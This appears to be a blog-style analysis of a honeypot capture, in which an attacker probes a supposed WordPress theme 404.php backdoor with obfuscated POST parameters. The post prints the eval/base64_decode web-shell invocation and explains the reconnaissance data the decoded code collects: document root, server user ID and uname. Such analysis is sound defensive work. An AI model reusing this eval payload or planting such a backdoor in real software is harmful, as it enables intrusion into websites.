Provides some information about the web server, web server's document root, and what user ID runs the web server.
175.155.252.85 has no DNS 'A' record.
175.155.252.85 belongs to China Unicom:
% Information related to '175.152.0.0/14AS4837'
route: 175.152.0.0/14
descr: China Unicom Sichuan Province Network
country: CN
origin: AS4837
mnt-by: MAINT-CNCGROUP-RR
last-modified: 2010-01-11T05:18:03Z
source: APNIC
p0f3
says 175.155.252.85 is running Windows XP:
[2018/03/07 12:38:28] mod=syn|cli=175.155.252.85/3517|srv=162.246.45.144/80|subj=cli|os=Windows XP|dist=11|params=none|raw_sig=4:117+11:0:1440:65535,0:mss,nop,nop,sok:df,id+:0
[2018/03/07 12:38:28] mod=mtu|cli=175.155.252.85/3517|srv=162.246.45.144/80|subj=cli|link=IPIP or SIT|raw_mtu=1480
[2018/03/07 12:38:28] mod=syn+ack|cli=175.155.252.85/3517|srv=162.246.45.144/80|subj=srv|os=???|dist=0|params=none|raw_sig=4:64+0:0:1460:mss*20,0:mss,nop,nop,sok:df:0
[2018/03/07 12:38:28] mod=mtu|cli=175.155.252.85/3517|srv=162.246.45.144/80|subj=srv|link=Ethernet or modem|raw_mtu=1500
Looks like someone tried to access some kind of backdoor.
The attacker seems to believe the backdoor lives in a
WordPress theme's 404.php
file.
My WordPress honey pot assumed that 404.php
holds a WSO web shell,
so it let the WSO web shell emulator deal with the download.
Presumably, I've seen this 404.php
backdoor, because the WSO emulator
recognized the POST parameters as belonging to some code I've seen
in the past, but I have no recollection of teh 404.php
backdoor.
The attacker sent 3 HTTP POST parameters to the supposed backdoor code.
[@123] => @eval/*�™Ð!��s �˨Ýã£ÅÄ»ÅÎ*/�(${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/�(${'_POS'.'T'}[z0]));
[z0] => ODAwO...
[z9] => BaSE64_dEcOdE
The backdoor that the attacker tried to access apparently executes code in a POST HTTP variable named "@123". The code the backdoor was supposed to execute is:
@eval($_POST['z9']($_POST['z0']));
That is, the function named in POST parameter z9
gets the argument in POST parameter z0
.
Whatever the function named by $_POST['z9'] returns, gets eval'ed. So two level of evaluation,
one to execute PHP's eval
builtin, another to evaluate $_POST['z9']($_POST['z0']
.
I can think of only two reasons for this:
- Incompetance, or carelessness that amounts to incompetence.
- Desire to have someone obfuscated code executed.
I expect it's the latter. The obfuscation sort of covered up the use of $_POST
contents,
and may obscure an eval
call from intrusion detectors.
Deobfuscating the Base64 encoded PHP went like this:
- Hand edit
175.155.252.85WqA-txDZjytu9xO2kkgHcAAAAAM.wso.scans
intodc1.php
- Invoke
php dc1.php > dc2.php
- Pretty-print
dc2.php1 giving
f1.php`
I base my analysis below on f1.php
The PHP code creates an informative string based on:
- PHP variable
$_SERVER["SCRIPT_FILENAME"]
- PHP variable
$_SERVER['DOCUMENT_ROOT']
- User ID that runs PHP/Apache web server
- "uname" information
The string's values are '|' (pipe) separated, and the string
as a whole is bracketed by ->|
and |<-
. Simple Perl regexps
could parse this style of output easily.
The information is where in the local filesystem 404.php
lies,
what user ID runs it, and what operating system and version
it runs on. This looks like information for further explotation
to me.